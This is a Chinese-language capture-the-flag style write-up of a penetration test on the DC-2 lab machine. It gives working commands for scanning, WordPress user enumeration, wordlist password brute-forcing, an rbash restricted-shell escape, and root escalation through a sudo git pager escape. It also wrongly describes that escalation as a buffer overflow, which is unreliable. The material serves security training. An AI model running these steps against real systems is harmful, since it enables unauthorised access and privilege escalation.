[渗透测试][Kali]对DC-2靶机进行渗透测试

对DC-2靶机进行渗透测试


1.搭建渗透平台
2.准备工作
3.扫描端口
4.使用wpscan进一步扫描
5.破解密码
6.登陆ssh
7.root权限提升

1.搭建渗透平台

Kali 2018, DC-2靶机, VMWare虚拟机平台
平台搭建工作不再赘述

2.准备工作

使用nmap扫描局域网中的主机

Bash shell命令

nmap -sn 192.168.11.0/24

Bash shell输出

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-14 10:37 CST
Nmap scan report for 192.168.11.1
Host is up (0.00021s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.11.2
Host is up (0.00016s latency).
MAC Address: 00:50:56:F3:D4:1F (VMware)
Nmap scan report for dc-2 (192.168.11.129)
Host is up (0.00017s latency).
MAC Address: 00:0C:29:52:22:87 (VMware)
Nmap scan report for 192.168.11.254
Host is up (0.000052s latency).
MAC Address: 00:50:56:EA:98:00 (VMware)
Nmap scan report for 192.168.11.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.07 seconds

这里扫描出的192.168.11.1是我的物理机地址(虚拟机网络采用NAT),192.168.11.2是DHCP服务器,192.168.11.128是kali本机地址,192.168.129和192.168.11.254中的一个就是DC-2靶机。

3.扫描端口

分别对这两个地址进一步扫描,在扫描192.168.11.129时发现了如下结果
Bash shell命令

nmap -p- -A -v 192.168.11.129

Bash shell输出(部分)

Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-14 11:16 CST
Nmap scan report for 192.168.11.129
Host is up (0.00036s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)

该机器的80端口是打开的,并且部署了apache服务器,7744开启了SSH服务,可以确定这台机器就是DC-2靶机,尝试直接用浏览器访问,结果被重定向到了一个域名dc-2/,我们返回去查看扫描结果,看到http头里面提示我们没有用域名http://dc-2/访问;于是确认该主机必须使用域名访问,在host文件中添加静态条目之后可以用浏览器打开网页。发现是一个wordpress网站,考虑使用wpscan。在网站下面有一个flag1,提示我们要用cewl这个软件。

4.使用wpscan进一步扫描

Bash shell命令

wpscan –-url dc-2		#默认扫描
wpscan --url dc-2 -eu	#扫描用户名

可以扫描出一些信息,我们发现其默认的后台登陆页面(/wp-login.php)可以正常访问,进一步扫描用户。
Bash shell输出(部分)

[+] admin
 | Detected By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jerry
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

发现了3个用户,这时候就要用上提示我们的cewl,它是一个社会工程学爬虫,可以从http页面爬取信息生成密码字典,然后再用wpscan爆破密码。

5.破解密码

Bash shell命令

cewl dc-2/ -w dict.txt		#-w选项表示将爬取生成的字典输出为文件
wpscan –-url dc-2/ -P dict.txt #使用字典dict.txt破解所有用户密码

Bash shell输出(部分)
[i] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

可以看到jerry和tom的密码都被查出,这时候使用浏览器登陆这两个用户查看有没有可以利用的信息。在Jerry的账户里发现了下一条提示:flag2。
在这里插入图片描述
于是再看看tom的账户。没有什么有价值的信息。这时候需要换一种思路了,之前在使用nmap工具扫描这个主机的时候,还在7744端口开放了ssh服务。

6.登陆ssh

我们尝试使用上面两个账户来登陆ssh。首先尝试tom的账户,可以登陆,ls一下可以看到flag3。但是登陆使用的shell是rBash,功能受到严重限制以至于cat命令都无法使用,所以需要想办法绕过限制。我们先尝试把shell切换为/bin/sh,成功了。继续尝试使用cat来查看flag3中的内容,提示不能找到命令,这时候原因应该是没有将cat命令的目录添加到$PATH中,于是添加之。然后使用cat查看flag3.txt中的内容。
rBash和sh shell命令

ssh tom@dc-2 -p 7744		#建立ssh连接
cat flag3.txt
BASH_CMDS[a]=/bin/sh;a	#切换shell
export PATH=$PATH:/bin/	#添加$PATH,cat和su都在/bin下
export PATH=$PATH:/usr/bin	#sudo在/usr/bin下
cat flag3.txt

Bash shell输出(flag3.txt的内容)

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

看了flag3.txt之后,使用su jerry切换为jerry登陆。切换到jerry的用户目录,flag4出现了,cat一下。

Bash shell输出(flag4.txt的内容)

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

7.root权限提升

flag4告诉我们只差最后一步了,并且最后一步要用到git。这里说明一下,git有一个缓冲区溢出漏洞,在使用sudo git -p --help时,不需要输入root密码即可以root权限执行这条命令。我们尽量减小缓冲区的行数,使其一次性显示不完这条命令的回显结果,这样这条命令就一直处于运行状态,加上此时处于root权限,我们直接在这时候打开bash shell,直接提权至root。
在这里插入图片描述
Bash shell命令

sudo git -p –help
!/bin/bash

至此,命令提示符变为root@DC-2:/home/tom#,已经完成root权限获取。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章